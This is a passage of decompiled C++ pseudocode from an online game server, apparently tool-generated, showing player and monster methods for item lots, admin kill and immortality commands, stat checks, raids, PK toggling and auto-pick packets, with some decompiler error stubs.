"ShineObjectClass::ShinePlayer::so_GetItemLot"); return 0; } if ( !lot ) { --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_GetItemLot"); return 0; } if ( !locked ) goto LABEL_8; *(_DWORD *)lot = 0; *(_DWORD *)(lot + 4) = 0; *(_BYTE *)locked = 0; if ( (unsigned __int8)(*(int (**)(void))(*((_DWORD *)v4 + 14470) + 20))() == 1 ) { *(_BYTE *)locked = 1; LABEL_8: --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_GetItemLot"); return 0; } v7 = ItemDataBox::idb_2itemid(&itemdatabox, item); v8 = v7; if ( v7 == -1 ) { v10 = -1; FunctionEntarance::_FunctionEntarance(&_); result = 0; } else { itema = ItemBag::ib_GetItemLot((ItemBag *)v4 + 8920, v7); *(_QWORD *)lot = itema + ItemBag::ib_GetItemLot((ItemBag *)v4 + 8078, v8); v10 = -1; FunctionEntarance::_FunctionEntarance(&_); result = 1; } return result; } //----- (00531FC0) -------------------------------------------------------- #error "531FC0: undefined or illegal type '#593' (funcsize=213)" //----- (005322B0) -------------------------------------------------------- #error "5322B0: undefined or illegal type '#593' (funcsize=216)" //----- (00532540) -------------------------------------------------------- void __thiscall AxialListDeathAura::_AxialListDeathAura(AxialListDeathAura *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListDeathAura::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)this); } // 66E3D8: using guessed type int (__stdcall *AxialListDeathAura___vftable_)(int, int, int distancesquar); //----- (00532550) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_HPChangeCheck(void *this, int delta, int plusminus, int fnc) { void *v4; // esi@1 v4 = this; (*(void (**)(void))(*(_DWORD *)this + 1252))(); return (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 1152))(v4); } //----- (00532570) -------------------------------------------------------- void __cdecl ShineObjectClass::ShinePlayer::sp_NoAdmin() { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShinePlayer::sp_NoAdmin"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShinePlayer::sp_NoAdmin"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShinePlayer::sp_NoAdmin"); } //----- (005325B0) -------------------------------------------------------- #error "5325B0: undefined or illegal type '#593' (funcsize=74)" //----- (005326A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_DeathAura(void *this) { void *v1; // esi@1 char *v2; // ST08_4@1 int v3; // ST04_4@1 int v4; // eax@1 AxialListDeathAura alda; // [sp+4h] [bp-14h]@1 FunctionEntarance _; // [sp+8h] [bp-10h]@1 int v7; // [sp+14h] [bp-4h]@1 v1 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_DeathAura"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_DeathAura"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_DeathAura"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v7 = 0; AxialListIterator::AxialListIterator(&alda.baseclass_0); alda.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListDeathAura::_vftable_; v2 = (char *)*((_DWORD *)v1 + 1858); v3 = *(_DWORD *)((char *)v1 + 78); LOBYTE(v7) = 1; v4 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v1, v4, v3, v2, 0, (int)&alda, 0, 65535); LOBYTE(v7) = 0; alda.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListDeathAura::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&alda); --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_DeathAura"); } // 66E3D8: using guessed type int (__stdcall *AxialListDeathAura___vftable_)(int, int, int distancesquar); //----- (00532790) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_Immortal(void *this) { void *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_Immortal"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_Immortal"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_DWORD *)((char *)v1 + 32209) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1260))(v1); *(_DWORD *)((char *)v1 + 32213) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1264))(v1); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_Immortal"); } //----- (00532840) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_KillAllMob(void *this) { void *v1; // esi@1 AxialListDeathAura alda; // [sp+4h] [bp-14h]@1 FunctionEntarance _; // [sp+8h] [bp-10h]@1 int v4; // [sp+14h] [bp-4h]@1 v1 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_KillAllMob"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_KillAllMob"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_KillAllMob"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = 0; AxialListIterator::AxialListIterator(&alda.baseclass_0); alda.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListDeathAura::_vftable_; LOBYTE(v4) = 1; ShineObjectClass::ShineObject::so_AllInMap(v1, (int)&alda, 0); LOBYTE(v4) = 0; alda.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListDeathAura::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&alda); --funcallanalizer.fca_stackpoint; v4 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_KillAllMob"); } // 66E3D8: using guessed type int (__stdcall *AxialListDeathAura___vftable_)(int, int, int distancesquar); //----- (00532910) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMob::sm_IsUseSkill(void *this, __int16 skillid) { void *v2; // esi@1 char result; // al@2 int v4; // ebx@3 int v5; // edi@4 v2 = this; if ( (*(int (**)(void))(*(_DWORD *)this + 1796))() ) { v4 = 0; if ( *(_DWORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 1796))(v2) + 12) <= 0 ) { LABEL_7: result = 0; } else { v5 = 0; while ( skillid != *(_WORD *)(*(_DWORD *)((*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1796))(v2) + 8) + v5 + 4) ) { ++v4; v5 += 12; if ( v4 >= *(_DWORD *)((*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1796))(v2) + 12) ) goto LABEL_7; } result = 1; } } else { result = 0; } return result; } //----- (00532980) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::so_mob_SetLifeTime(int this, int Time) { ORField *v2; // esi@3 if ( Time ) { v2 = (ORField *)(this + 9072); TickTimer::Enable((TickTimer *)(this + 9072), 1); PacketContainer::pcb_SetSocketSession(v2, (ORColumnHeader *)(10 * Time)); } else { TickTimer::Enable((TickTimer *)(this + 9072), 0); } } //----- (005329C0) -------------------------------------------------------- #error "5329C0: undefined or illegal type '#734' (funcsize=65)" //----- (00532A90) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMob::so_mob_CheckNextRoamingWait(int this) { char result; // al@2 if ( *(_DWORD *)(this + 9088) <= clockwatch.cw_CurrTick ) { *(_DWORD *)(this + 9088) = 0; result = 0; } else { result = 1; } return result; } //----- (00532AB0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineMob::so_mob_SkillParameterSet_WeaponIndex(void *this, unsigned __int8 nWeaponIndex) { int v2; // esi@1 int v3; // eax@1 char result; // al@4 int v5; // eax@5 v2 = (int)this; v3 = (*(int (**)(void))(*(_DWORD *)this + 1796))(); if ( v3 && *(_DWORD *)(v3 + 8) && *(_DWORD *)(v3 + 12) > (signed int)nWeaponIndex ) { v5 = *(_DWORD *)(*(_DWORD *)(v3 + 8) + 12 * nWeaponIndex); ShineObjectClass::ShineMob::sm_PrepareWeapon( v2, *(_DWORD *)(v5 + 89), *(_DWORD *)(v5 + 85), *(_WORD *)(v5 + 93), *(_DWORD *)(v5 + 99), *(_DWORD *)(v5 + 95), *(_WORD *)(v5 + 103)); result = 1; } else { result = 0; } return result; } //----- (00532B10) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShineMob::so_mob_CanPvPAttack(void *this, int a2) { void *v2; // esi@1 bool result; // al@2 char v4; // bl@6 v2 = this; if ( a2 && (unsigned __int8)(*(int (**)(void))(*(_DWORD *)this + 1228))() != 4 ) { if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2708))(v2) && (v4 = (*(int (__thiscall **)(int))(*(_DWORD *)a2 + 2708))(a2), (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2708))(v2) == v4) ) result = (*(int (__thiscall **)(int, void *))(*(_DWORD *)a2 + 3252))(a2, v2) == 1; else result = 1; } else { result = 0; } return result; } //----- (00532B80) -------------------------------------------------------- NPCManager::NPCInformTemplete *__thiscall NPCManager::nm_FindNPCInfo(NPCManager *this, unsigned __int16 hnd) { int v2; // ST08_4@1 NPCManager::NPCInformTemplete *result; // eax@1 char key; // [sp+0h] [bp-Ch]@1 unsigned __int16 v5; // [sp+8h] [bp-4h]@1 v2 = this->nm_BufferPoint; v5 = hnd; result = (NPCManager::NPCInformTemplete *)bsearch(&key, this, v2, 0xCu, NPCManager::nm_HandleCompare); if ( result ) result = *(NPCManager::NPCInformTemplete **)&result->mobname[0]; return result; } //----- (00532BC0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SetTotalMoveSpeed(int this, int unSpeed) { *(_DWORD *)(this + 3936) = unSpeed; Parameter::Container::c_MakeTotal((void *)(this + 3860)); } //----- (00532BE0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_LinktoCurMapSaveData(int this) { int result; // eax@1 int v2; // ebx@1 void *v3; // ecx@1 int v4; // esi@3 int v5; // eax@3 NPCManager::LinkInformTemplete Linkinfo; // [sp+4h] [bp-6Ch]@1 unsigned int v7; // [sp+6Ch] [bp-4h]@1 result = (unsigned int)&Linkinfo ^ __security_cookie; v2 = this; v3 = *(void **)(this + 98); v7 = (unsigned int)&Linkinfo ^ __security_cookie; if ( v3 ) { result = FieldMap::fm_GetSaveLinktoData(v3); if ( result ) { v4 = FieldMap::fm_GetSaveLinktoData(*(void **)(v2 + 98)); v5 = *(_DWORD *)v2; memcpy(&Linkinfo, (const void *)v4, 0x64u); Linkinfo.Party = *(_BYTE *)(v4 + 100); result = (*(int (__thiscall **)(int, NPCManager::LinkInformTemplete *, signed int, signed int, signed int))(v5 + 1528))( v2, &Linkinfo, 6, 9, 10); } } return result; } //----- (00532C40) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::smo_CaptivateStateTask(int this) { int v1; // esi@1 int result; // eax@1 v1 = this; result = *(_DWORD *)(this + 143684); if ( result ) { result = (***(int (__stdcall ****)(_DWORD))(result + 864))(result); *(_DWORD *)(*(_DWORD *)(v1 + 143684) + 864) = result; } return result; } //----- (00532C70) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_IsIgnoreCoolTime(int this) { return *(_BYTE *)(this + 143313); } //----- (00532C80) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_SetIgnoreCoolTime(int this, char bValue) { char result; // al@1 result = bValue; *(_BYTE *)(this + 143313) = bValue; return result; } //----- (00532C90) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::sp_IsNormalAttack(int this) { int v1; // eax@1 v1 = *(_DWORD *)(this + 143184); return v1 == 2 || v1 == 3; } //----- (00532CB0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SendAutoPickToClient(void *this, char bEnable) { char *v2; // eax@1 void *v3; // esi@1 int v4; // eax@3 char *v5; // eax@4 int v6; // ST04_4@4 int v7; // eax@4 AxialListPacketBroadcast alchat; // [sp+8h] [bp-18h]@4 int v9; // [sp+1Ch] [bp-4h]@4 v2 = gpp.pp_Buffer; v3 = this; *(_WORD *)gpp.pp_Buffer = 4285; *((_WORD *)v2 + 1) = 7680; v2[4] = bEnable; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 5) ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 764))(v3); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v4 + 12))(v4, v3, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, "ShinePlayer::sp_SetAutoPick : Packet Too Long", 5); } v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4286; *((_WORD *)v5 + 1) = *((_WORD *)v3 + 2); v5[4] = bEnable; AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 5); v6 = *(_DWORD *)((char *)v3 + 78); v9 = 0; v7 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v3, v7, v6, 0, 0, (int)&alchat, 0, 65535); v9 = -1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); } //----- (00532DA0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_SaveAutoPick(int this, char bEnable) { char result; // al@1 result = bEnable; *(_BYTE *)(this + 23353) ^= (*(_BYTE *)(this + 23353) ^ 16 * bEnable) & 0x10; *(_BYTE *)(*(_DWORD *)(this + 32160) + 170) = bEnable; return result; } //----- (00532DD0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_GetAutoPick(int this) { return (*(_BYTE *)(this + 23353) >> 4) & 1; } //----- (00532DE0) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::sp_IsAutoPickEnableState(int this) { ItemInform_ActionItem *v1; // eax@1 unsigned __int16 v2; // ax@1 ItemInfo *v3; // eax@2 v1 = (ItemInform_ActionItem *)(**(int (__thiscall ***)(_DWORD, _DWORD))(this + 32312))(this + 32312, 28); v2 = ItemInventoryCell::iic_ItemIdent(v1); return v2 != -1 && (v3 = ItemDataBox::operator__(&itemdatabox, v2)->data) != 0 && v3->AutoMon == 1; } //----- (00532E20) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_IsLink_OutMap_AndSendErrorMsg(void *this) { int v1; // eax@1 int v2; // eax@2 v1 = *(_DWORD *)((char *)this + 98); if ( !v1 ) return 0; v2 = *(_DWORD *)(v1 + 12); if ( !*(_BYTE *)(v2 + 101) ) { (*(void (__stdcall **)(signed int, signed int, signed int))(*(_DWORD *)this + 776))(6, 29, 7746); return 0; } if ( *(_BYTE *)(v2 + 102) == 1 ) { (*(void (__stdcall **)(signed int, signed int, signed int))(*(_DWORD *)this + 776))(6, 29, 7745); return 0; } return 1; } //----- (00532E70) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_ply_IsLink_In_MapAndSendErrorMsg(void *this) { int v1; // eax@1 int v2; // eax@2 v1 = *(_DWORD *)((char *)this + 98); if ( !v1 ) return 0; v2 = *(_DWORD *)(v1 + 12); if ( !*(_BYTE *)(v2 + 100) ) { (*(void (__stdcall **)(signed int, signed int, signed int))(*(_DWORD *)this + 776))(6, 29, 7747); return 0; } if ( *(_BYTE *)(v2 + 102) == 1 ) { (*(void (__stdcall **)(signed int, signed int, signed int))(*(_DWORD *)this + 776))(6, 29, 7745); return 0; } return 1; } //----- (00532EC0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_UserCheckFreeStatRelease(int this) { int v1; // esi@1 int v2; // eax@2 char result; // al@2 v1 = this; if ( *(_DWORD *)(this + 23684) ) { operator delete(*(void **)(this + 23684)); v2 = *(_DWORD *)v1; *(_DWORD *)(v1 + 23684) = 0; (*(void (__thiscall **)(int))(v2 + 1316))(v1); result = 1; } else { result = 0; } return result; } //----- (00532F00) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::sp_IsUserCheckFreeStatEnable(void *this) { bool result; // al@2 if ( *((_DWORD *)this + 5921) ) result = *(_WORD *)((*(int (**)(void))(*(_DWORD *)this + 1068))() + 3092) == -1; else result = 0; return result; } //----- (00532F30) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_UserCheckCalcCurrentStat(int this) { int v1; // eax@1 int result; // eax@2 v1 = *(_DWORD *)(this + 23684); if ( v1 ) result = *(_BYTE *)v1 + *(_BYTE *)(v1 + 1) + *(_BYTE *)(v1 + 2) + *(_BYTE *)(v1 + 3) + *(_BYTE *)(v1 + 4); else result = ShineObjectClass::ShinePlayer::sp_CalcCurrentStat(this); return result; } //----- (00532F60) -------------------------------------------------------- ShineCommonParameter::FreeStatStr *__thiscall ShineObjectClass::ShinePlayer::so_ply_CheckFreeStatStr(void *this) { void *v1; // esi@1 int v2; // eax@3 int v3; // ecx@3 v1 = this; if ( *((_DWORD *)this + 5921) && *(_WORD *)((*(int (**)(void))(*(_DWORD *)this + 1068))() + 3092) == -1 ) { v2 = *((_DWORD *)v1 + 5921); v3 = *((_DWORD *)v1 + 5921); if ( !v2 ) v3 = (int)((char *)v1 + 32250); if ( *(_BYTE *)v3 > (unsigned __int8)shineparam.scp_param.MaxFreeStat ) return *shineparam.scp_param.freestatStr; if ( !v2 ) return shineparam.scp_param.freestatStr[*((_BYTE *)v1 + 32250)]; } else { if ( *(_BYTE *)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1056))(v1) > (unsigned __int8)shineparam.scp_param.MaxFreeStat ) return *shineparam.scp_param.freestatStr; v2 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1056))(v1); } return shineparam.scp_param.freestatStr[*(_BYTE *)v2]; } //----- (00533000) -------------------------------------------------------- ShineCommonParameter::FreeStatInt *__thiscall ShineObjectClass::ShinePlayer::so_ply_CheckFreeStatInt(void *this) { void *v1; // esi@1 int v2; // eax@3 int v3; // ecx@3 v1 = this; if ( *((_DWORD *)this + 5921) && *(_WORD *)((*(int (**)(void))(*(_DWORD *)this + 1068))() + 3092) == -1 ) { v2 = *((_DWORD *)v1 + 5921); v3 = *((_DWORD *)v1 + 5921); if ( !v2 ) v3 = (int)((char *)v1 + 32250); if ( *(_BYTE *)(v3 + 3) > (unsigned __int8)shineparam.scp_param.MaxFreeStat ) return *shineparam.scp_param.freestatInt; if ( !v2 ) return shineparam.scp_param.freestatInt[*((_BYTE *)v1 + 32253)]; } else { if ( *(_BYTE *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1056))(v1) + 3) > (unsigned __int8)shineparam.scp_param.MaxFreeStat ) return *shineparam.scp_param.freestatInt; v2 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1056))(v1); } return shineparam.scp_param.freestatInt[*(_BYTE *)(v2 + 3)]; } //----- (005330A0) -------------------------------------------------------- ShineCommonParameter::FreeStatDex *__thiscall ShineObjectClass::ShinePlayer::so_ply_CheckFreeStatDex(void *this) { void *v1; // esi@1 int v2; // eax@3 int v3; // ecx@3 v1 = this; if ( *((_DWORD *)this + 5921) && *(_WORD *)((*(int (**)(void))(*(_DWORD *)this + 1068))() + 3092) == -1 ) { v2 = *((_DWORD *)v1 + 5921); v3 = *((_DWORD *)v1 + 5921); if ( !v2 ) v3 = (int)((char *)v1 + 32250); if ( *(_BYTE *)(v3 + 2) > (unsigned __int8)shineparam.scp_param.MaxFreeStat ) return *shineparam.scp_param.freestatDex; if ( !v2 ) return shineparam.scp_param.freestatDex[*((_BYTE *)v1 + 32252)]; } else { if ( *(_BYTE *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1056))(v1) + 2) > (unsigned __int8)shineparam.scp_param.MaxFreeStat ) return *shineparam.scp_param.freestatDex; v2 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1056))(v1); } return shineparam.scp_param.freestatDex[*(_BYTE *)(v2 + 2)]; } //----- (00533140) -------------------------------------------------------- ShineCommonParameter::FreeStatCon *__thiscall ShineObjectClass::ShinePlayer::so_ply_CheckFreeStatCon(void *this) { void *v1; // esi@1 int v2; // eax@3 int v3; // ecx@3 v1 = this; if ( *((_DWORD *)this + 5921) && *(_WORD *)((*(int (**)(void))(*(_DWORD *)this + 1068))() + 3092) == -1 ) { v2 = *((_DWORD *)v1 + 5921); v3 = *((_DWORD *)v1 + 5921); if ( !v2 ) v3 = (int)((char *)v1 + 32250); if ( *(_BYTE *)(v3 + 1) > (unsigned __int8)shineparam.scp_param.MaxFreeStat ) return *shineparam.scp_param.freestatCon; if ( !v2 ) return shineparam.scp_param.freestatCon[*((_BYTE *)v1 + 32251)]; } else { if ( *(_BYTE *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1056))(v1) + 1) > (unsigned __int8)shineparam.scp_param.MaxFreeStat ) return *shineparam.scp_param.freestatCon; v2 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1056))(v1); } return shineparam.scp_param.freestatCon[*(_BYTE *)(v2 + 1)]; } //----- (005331E0) -------------------------------------------------------- ShineCommonParameter::FreeStatMen *__thiscall ShineObjectClass::ShinePlayer::so_ply_CheckFreeStatMen(void *this) { void *v1; // esi@1 int v2; // eax@3 int v3; // ecx@3 v1 = this; if ( *((_DWORD *)this + 5921) && *(_WORD *)((*(int (**)(void))(*(_DWORD *)this + 1068))() + 3092) == -1 ) { v2 = *((_DWORD *)v1 + 5921); v3 = *((_DWORD *)v1 + 5921); if ( !v2 ) v3 = (int)((char *)v1 + 32250); if ( *(_BYTE *)(v3 + 4) > (unsigned __int8)shineparam.scp_param.MaxFreeStat ) return *shineparam.scp_param.freestatMen; if ( !v2 ) return shineparam.scp_param.freestatMen[*((_BYTE *)v1 + 32254)]; } else { if ( *(_BYTE *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1056))(v1) + 4) > (unsigned __int8)shineparam.scp_param.MaxFreeStat ) return *shineparam.scp_param.freestatMen; v2 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1056))(v1); } return shineparam.scp_param.freestatMen[*(_BYTE *)(v2 + 4)]; } //----- (00533280) -------------------------------------------------------- void __thiscall ShineObjectClass::PlayerMobInfoMapping::PlayerMobInfoMapping(ShineObjectClass::PlayerMobInfoMapping *this, const char *pkIndexName) { ShineObjectClass::PlayerMobInfoMapping *v2; // esi@1 unsigned __int16 v3; // ax@1 v2 = this; v3 = MobDataBox::mdb_2MobID(&mobdatabox, pkIndexName); v2->m_pMobDataIndex = 0; if ( v3 != -1 ) v2->m_pMobDataIndex = MobDataBox::operator__(&mobdatabox, v3); } //----- (005332C0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_GetRaid(int this) { return *(_DWORD *)(this + 139436); } //----- (005332D0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_SetRaid(void *this, int pRaid) { void *v2; // esi@1 int v3; // eax@1 int v4; // ecx@5 const unsigned int v5; // eax@9 Raid::iterator *v6; // eax@9 int v7; // edi@10 int v8; // eax@10 Raid::iterator iter; // [sp+8h] [bp-84h]@1 Raid::iterator result; // [sp+14h] [bp-78h]@9 NPCManager::LinkInformTemplete lnkinf; // [sp+20h] [bp-6Ch]@7 unsigned int v13; // [sp+88h] [bp-4h]@1 v2 = this; v13 = (unsigned int)&iter ^ __security_cookie; v3 = *((_DWORD *)this + 34859); if ( v3 != pRaid ) { *((_DWORD *)this + 34859) = pRaid; if ( pRaid ) { (*(void (__stdcall **)(_DWORD))(*(_DWORD *)this + 1364))(*(_WORD *)(pRaid + 4)); v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); Raid::Find((Raid *)pRaid, &iter, v5); v6 = Raid::End((Raid *)pRaid, &result); LOBYTE(v3) = Raid::iterator::operator__(&iter, v6); if ( (_BYTE)v3 ) { v7 = *(_DWORD *)v2; LOWORD(v8) = Raid::iterator::GetPartyRegNo(&iter); LOBYTE(v3) = (*(int (__thiscall **)(void *, int))(v7 + 1392))(v2, v8); } } else { LOWORD(v3) = (*(int (**)(void))(*(_DWORD *)this + 1356))(); if ( (_WORD)v3 != -1 ) { (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v2 + 1392))(v2, 65535); (*(void (__thiscall **)(void *, signed int))(*(_DWORD *)v2 + 1364))(v2, 65535); LOBYTE(v3) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1152))(v2); if ( (_BYTE)v3 ) { v4 = *(_DWORD *)((char *)v2 + 98); if ( v4 ) { v3 = *(_DWORD *)(v4 + 12); if ( *(_BYTE *)(v3 + 54) == 3 ) { LOBYTE(v3) = FieldMap::fm_GetRegenCityLinkData((void *)v4, (int)&lnkinf); if ( (_BYTE)v3 ) LOBYTE(v3) = (*(int (__thiscall **)(void *, NPCManager::LinkInformTemplete *, _DWORD))(*(_DWORD *)v2 + 1016))( v2, &lnkinf, 0); } } } } } } return v3; } //----- (005333F0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::so_GetInsDunGeonInRegNoAndType(void *this, int rCategory, int rRegNum) { void *v3; // esi@1 char result; // al@2 v3 = this; if ( (*(int (**)(void))(*(_DWORD *)this + 2748))() ) { *(_DWORD *)rCategory = 3; *(_DWORD *)rRegNum = *(_WORD *)((*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 2748))(v3) + 4); result = 1; } else { if ( (unsigned __int16)(*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1356))(v3) == -1 ) { result = 0; } else { *(_DWORD *)rCategory = 0; *(_DWORD *)rRegNum = (unsigned __int16)(*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1356))(v3); result = 1; } } return result; } //----- (00533460) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_CHAR_PK_MODE_TOGGLE_REQ(int this, int netcmd, int len, __int16 handle) { char *v4; // edi@1 int v5; // esi@1 int v6; // ecx@1 int v7; // ebx@5 int v8; // eax@5 int v9; // ebp@5 int v10; // eax@12 v4 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4296; v5 = this; *(_WORD *)(v4 + 3) = 8256; v6 = *(_DWORD *)(this + 98); if ( !v6 || FieldMap::fm_IsPkToggleField(v6) ) { if ( (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 1176))(v5) && (v7 = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 1176))(v5), v8 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v5 + 1176))(v5), v9 = (*(int (__thiscall **)(int))(*(_DWORD *)v8 + 64))(v8), (*(int (__thiscall **)(int))(*(_DWORD *)v7 + 48))(v7) != v9) ) { if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v5 + 2732))(v5) == 1 ) (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v5 + 2736))(v5, 0); else (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v5 + 2736))(v5, 1); } else { *(_WORD *)(v4 + 3) = 8257; } } else { (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v5 + 2736))(v5, 0); *(_WORD *)(v4 + 3) = 8258; } v4[2] = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 2732))(v5); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 5) ) { v10 = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 764))(v5); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v10 + 12))(v10, v5, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_PK_MODE_TOGGLE_REQ : Packet Too Long", 5); } } //----- (00533560) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_GtItemEffectMsg(void *this, __int16 nIndexID) { char *v2; // eax@1 void *v3; // esi@1 int v4; // eax@3 v2 = gpp.pp_Buffer; v3 = this; *(_WORD *)gpp.pp_Buffer = 29937; *((_WORD *)v2 + 1) = nIndexID; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 4) ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 764))(v3); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v4 + 12))(v4, v3, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_PK_MODE_TOGGLE_REQ : Packet Too Long", 4); } } //----- (005335C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_StateChangeToNormal(void *this) { void *v1; // esi@1 v1 = this; if ( (unsigned __int8)(*(int (**)(void))(*(_DWORD *)this + 1152))() == 4 ) (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1156))(v1); if ( 